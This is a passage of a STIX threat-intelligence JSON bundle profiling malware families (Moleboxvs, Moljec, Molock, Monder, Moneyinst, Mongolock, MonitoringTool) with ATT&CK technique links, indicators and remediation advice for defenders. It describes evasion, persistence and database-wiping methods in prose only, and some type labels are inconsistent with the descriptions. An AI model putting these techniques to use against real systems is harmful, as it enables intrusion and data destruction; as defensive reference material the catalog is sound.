(`T1056`) and anti-debugging techniques (`T1622`) to prevent security tools from inspecting this memory space. The malware runs entirely from RAM, never touching the disk in its unencrypted form (`T1055.012`), severely complicating traditional forensics and incident response.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the hidden secondary payload. Incident responders should closely monitor EDR logs for 'Anomalous Child Process Spawning' or heavy API hooking originating from the flagged executable. A major IoC is the presence of a standalone executable that relies on no external DLLs (because they are packed inside). Static analysis is largely ineffective; the file must be detonated in a highly instrumented dynamic sandbox (like Cuckoo or Any.Run) to observe its network behavior and memory strings. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Moleboxvs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/moleboxvs"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e289b0e7-db3f-5d00-8fb5-a65fd4ca2d85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6aae9bd4-191d-50bc-82fa-f91baaa0b297",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moleboxvs exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (Virtualization))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d6336dd-58e4-557a-9f4a-fa1c6c55e15d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6aae9bd4-191d-50bc-82fa-f91baaa0b297",
      "target_ref": "attack-pattern--c5d8d983-85d0-5f4a-a30a-171e3413444b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moleboxvs exhibits technique T1622 (Debugger Evasion)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e817d83-d4dd-5f72-89fd-d61c34ee7148",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6aae9bd4-191d-50bc-82fa-f91baaa0b297",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moleboxvs exhibits technique T1055.012 (Process Injection: Process Hollowing (Running in memory))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a04336f-116a-55e2-b777-7015eef7359c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6aae9bd4-191d-50bc-82fa-f91baaa0b297",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moleboxvs exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5d3998fc-7377-5825-88df-6edf217668e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Moljec",
      "description": "Trojan:Win32/Moljec is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Moljec</b><br>To an end-user, a Moljec infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Moljec is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Moljec is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Moljec frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Moljec reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Moljec",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/moljec"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fea2e67-6c94-5d55-817e-44354ebaf47c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d3998fc-7377-5825-88df-6edf217668e1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moljec exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e993f19-d66b-55b0-84b0-6d28e0832275",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d3998fc-7377-5825-88df-6edf217668e1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moljec exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a107a9b-1101-5e28-bbcc-68db9db78ca4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d3998fc-7377-5825-88df-6edf217668e1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moljec exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f75cd92-53f3-5c04-b689-527c139a6d6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d3998fc-7377-5825-88df-6edf217668e1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moljec exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd72c640-fe10-5c6d-a819-f8bfc931fead",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d3998fc-7377-5825-88df-6edf217668e1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moljec exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2a0a2d90-8ccf-555f-ab77-87061b493e49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Molock",
      "description": "Trojan:Win32/Molock is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Molock</b><br>To an end-user, a Molock infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Molock is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Molock is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Molock frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Molock reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Molock",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/molock"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b495d0a-55f3-5b08-93bb-aa5d322b6c34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a0a2d90-8ccf-555f-ab77-87061b493e49",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Molock exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b700fd57-02a6-589d-98a9-5d22e5bea6a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a0a2d90-8ccf-555f-ab77-87061b493e49",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Molock exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e91c244-0f3c-554a-8b54-932f1ca5bb38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a0a2d90-8ccf-555f-ab77-87061b493e49",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Molock exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d8ab786-046a-5be9-b698-7e929659365a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a0a2d90-8ccf-555f-ab77-87061b493e49",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Molock exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84c15e1c-017e-56a7-963e-5f5a74bb21c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a0a2d90-8ccf-555f-ab77-87061b493e49",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Molock exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1361ac8f-7cf2-5b4e-8e11-4753b3be4952",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Monder",
      "description": "Adware:Win32/Monder is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Monder</b><br>To an end-user, Monder manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Monder is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Monder",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/monder"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f52210c8-7753-527d-b278-663168a6e61b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1361ac8f-7cf2-5b4e-8e11-4753b3be4952",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Monder exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c8b77e9-8aeb-5ed3-b365-56439f9a9484",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1361ac8f-7cf2-5b4e-8e11-4753b3be4952",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Monder exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--286fe17e-14ca-522f-99c6-006984904325",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1361ac8f-7cf2-5b4e-8e11-4753b3be4952",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Monder exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9a7eec2-e323-5ea9-bd78-e849e1613527",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1361ac8f-7cf2-5b4e-8e11-4753b3be4952",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Monder exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d2a81ea1-df02-5fca-a980-e9ad7020df21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Moneyinst",
      "description": "Adware:Win32/Moneyinst is a detection for a potentially malicious software packager or bundler. It is designed to act as a primary installation wrapper, promising the user a piece of legitimate freeware or pirated content, but its true intent is to silently download and install a payload of Potentially Unwanted Programs (PUPs), adware toolbars, and sometimes outright trojans in the background.<br><br><b>Understanding Moneyinst (Software Bundlers)</b><br>To an end-user, executing Moneyinst looks like a standard, if somewhat aggressive, software setup wizard. For a security analyst, encountering this detection implies that the endpoint has likely been exposed to multiple secondary payloads. The business model relies on Pay-Per-Install (PPI) networks, where the distributor gets paid for every extra toolbar or adware application they successfully sneak onto the victim's machine.<br><br><b>Execution and Bundling Mechanics</b><br>Moneyinst is usually encountered when users attempt to download software from untrusted third-party portals (`T1189`). When the user runs the installer, the UI presents deceptive 'Express Install' options. If the user clicks 'Next' without reading the fine print, the wrapper reaches out to its C2 servers (`T1105`) and silently executes secondary installers in the background. These secondary payloads establish persistence (`T1547.001`), modify browser settings (`T1112`), and inject advertisements. The 'Moneyinst' wrapper itself is essentially a highly weaponized download manager.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from extreme annoyance (adware) to full system compromise (if the bundler drops a trojan). Host-based IoCs include EDR alerts for a single setup executable spawning multiple unrelated child processes (`msiexec.exe`, `cmd.exe`, or unknown binaries in `%Temp%`), sudden modifications to browser shortcut properties, and the appearance of unrequested desktop icons. Network IoCs include the installer reaching out to affiliate networks (often ad-tracking domains) to register a successful installation and download the secondary payloads. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Moneyinst",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/moneyinst"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5eda8d9-6874-5077-9bcd-4d1405af2629",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2a81ea1-df02-5fca-a980-e9ad7020df21",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moneyinst exhibits technique T1189 (Drive-by Compromise (Bundled installations))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76ae64fd-60d9-5855-b88b-819b1ebc6206",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2a81ea1-df02-5fca-a980-e9ad7020df21",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moneyinst exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c4ae202-78b1-5405-9857-ed85a110791e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2a81ea1-df02-5fca-a980-e9ad7020df21",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moneyinst exhibits technique T1105 (Ingress Tool Transfer (Downloading bundled payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60e32f06-2c1a-5698-b21d-9c56c87d982a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2a81ea1-df02-5fca-a980-e9ad7020df21",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moneyinst exhibits technique T1112 (Modify Registry (Browser hijacking by dropped payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d6366c7c-955e-5abb-9ecf-85ad7605253b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mongolock",
      "description": "Ransom:Win32/Mongolock represents a highly specialized and devastating form of extortion that specifically targets unsecured, internet-exposed **MongoDB databases**, rather than individual user files or endpoints. It is a stark reminder of the dangers of cloud misconfigurations. Unlike traditional ransomware that encrypts files in place, Mongolock completely drops (deletes) the victim's databases and replaces them with a single collection containing a ransom demand, often resulting in total, irrecoverable data loss.<br><br><b>Understanding the Mongolock Threat</b><br>To an organization, a Mongolock attack is catastrophic. Their web applications suddenly crash, and upon inspecting the database, all customer records and operational data are gone, replaced by a table named `WARNING` demanding Bitcoin. For cloud security architects, Mongolock highlights a failure in basic access control (`T1190`); the database was left exposed to the public internet without authentication enabled.<br><br><b>Execution and Database Wiping Mechanics</b><br>Mongolock does not rely on phishing or malware payloads on an endpoint. Instead, attackers use automated scanning scripts (like Shodan or Masscan) (`T1595.002`) to scour the internet for MongoDB instances exposed on default port `27017` with no access controls configured (`T1190`). Once a vulnerable instance is found, the attacker's script connects directly to the database. It executes a command to completely drop (delete) all existing databases and collections (`T1485`). It then creates a new database (often named `READ_ME_TO_RECOVER_YOUR_DATA`) and inserts a single document demanding a ransom payment in cryptocurrency (`T1486`). Crucially, in many Mongolock attacks, the attackers *do not* actually back up the data before deleting it; paying the ransom results in nothing.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is immediate, total data loss and massive operational downtime. The primary IoC is the sudden disappearance of all MongoDB collections, replaced by a single ransom note collection. Cloud infrastructure logs (AWS CloudTrail, Azure Activity Log) will show unauthorized inbound connections to port `27017` from unknown IP addresses, followed immediately by massive data deletion commands. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mongolock",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mongolock"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74bd4c85-0cab-5817-a985-726b4a0a468a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6366c7c-955e-5abb-9ecf-85ad7605253b",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mongolock exhibits technique T1190 (Exploit Public-Facing Application (Exploiting unauthenticated MongoDB instances))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--755fe8ed-f96d-5f8f-9a86-4b1919972669",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1595.002: Active Scanning: Vulnerability Scanning (Mass-scanning for port 27017)",
      "description": "MITRE ATT&CK Technique T1595.002 (Active Scanning: Vulnerability Scanning (Mass-scanning for port 27017)) under tactic Reconnaissance.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1595.002",
          "url": "https://attack.mitre.org/techniques/T1595/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22b2ed55-45fa-5a27-b49e-3168dbc6d82f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6366c7c-955e-5abb-9ecf-85ad7605253b",
      "target_ref": "attack-pattern--755fe8ed-f96d-5f8f-9a86-4b1919972669",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mongolock exhibits technique T1595.002 (Active Scanning: Vulnerability Scanning (Mass-scanning for port 27017))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1969cfbd-846b-5af2-89a0-a08b3f6c5a72",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6366c7c-955e-5abb-9ecf-85ad7605253b",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mongolock exhibits technique T1485 (Data Destruction (Dropping the databases))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--703c95a9-da07-5ab9-ad49-3c07ee785aac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6366c7c-955e-5abb-9ecf-85ad7605253b",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mongolock exhibits technique T1486 (Data Encrypted for Impact (Leaving the ransom note))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1246b7ad-667f-58ae-b7f7-37359ee714e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Monitoringtool",
      "description": "<h3>Executive Summary</h3>\nMonitoringTool (often detected as Riskware.MonitoringTool or Spyware.Generic) is a broad classification for software designed to comprehensively record and track user activity on a computer. While some commercial variants are sold legitimately for parental control or employee monitoring (bossware), these tools are inherently dual-use. When deployed covertly without the user's explicit consent, they function exactly like malicious spyware or advanced keyloggers, representing a severe breach of privacy and a critical data exfiltration risk.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMonitoringTools are typically installed manually by someone with physical access to the machine (an insider threat, suspicious spouse) or deployed via IT management tools. Cybercriminals also frequently bundle these tools with trojans to harvest credentials.\n\nOnce active, these tools possess deep surveillance capabilities:\n<ul>\n<li><strong>Keystroke Logging and Screen Capture:</strong> The tool intercepts all keyboard input (capturing passwords, emails, and chat logs) and takes periodic screenshots or even records video of the user's desktop, storing this data in hidden, encrypted local files.</li>\n<li><strong>Application and File Tracking:</strong> It monitors which applications are launched, what files are opened, printed, or copied to USB drives, providing a comprehensive timeline of the user's actions.</li>\n<li><strong>Covert Exfiltration:</strong> The software is specifically designed to hide from the user (often not appearing in the Task Manager or Add/Remove Programs). It silently transmits the collected surveillance logs to a remote server, an email address, or a centralized dashboard controlled by the person who installed it.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized presence of a MonitoringTool on a corporate endpoint is a critical security incident. It constitutes a massive violation of user privacy and guarantees the compromise of any passwords, intellectual property, or confidential communications accessed on that machine.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Contextual Investigation (Crucial Step):</strong> Before taking destructive action, IT and HR must determine if the tool was authorized. Was it deployed by corporate security for a legitimate insider threat investigation? If authorized, leave it alone. If unauthorized, proceed immediately to isolation.</li>\n<li><strong>Immediate Network Isolation:</strong> If unauthorized, disconnect the machine from the network to halt the active exfiltration of surveillance logs to the unauthorized third party.</li>\n<li><strong>Mandatory Credential Reset and Re-imaging:</strong> It must be assumed that all passwords typed on the machine have been compromised. All associated enterprise credentials must be reset globally. Because these tools hook deeply into the OS to remain hidden, a complete bare-metal wipe and re-image is the only secure remediation.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.MonitoringTool",
